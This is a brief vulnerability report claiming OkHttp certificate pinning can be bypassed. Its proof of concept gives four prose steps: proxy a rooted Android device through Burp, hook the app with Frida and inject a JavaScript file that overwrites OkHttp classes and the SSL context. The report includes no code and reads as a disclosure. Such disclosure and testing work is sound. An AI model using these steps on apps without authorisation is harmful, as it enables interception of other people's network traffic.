OkHttp allows man-in-the-middle attackers to bypass certificate pinning by changing SSLContext and the boolean values while hooking the application.
POC:
Step 1. Configure the burp proxy with Android rooted phone or emulator to intercept the traffic.
Step 2. Configure the Frida tool to hook the application.
Step 3. To bypass the pinning, Inject JS file to manipulate the class files and SSL context.
Step 4. inject the js file with Frida in the vulnerable app then it will overwrite the okhttp classes and we can able to intercept the app’s network traffic.
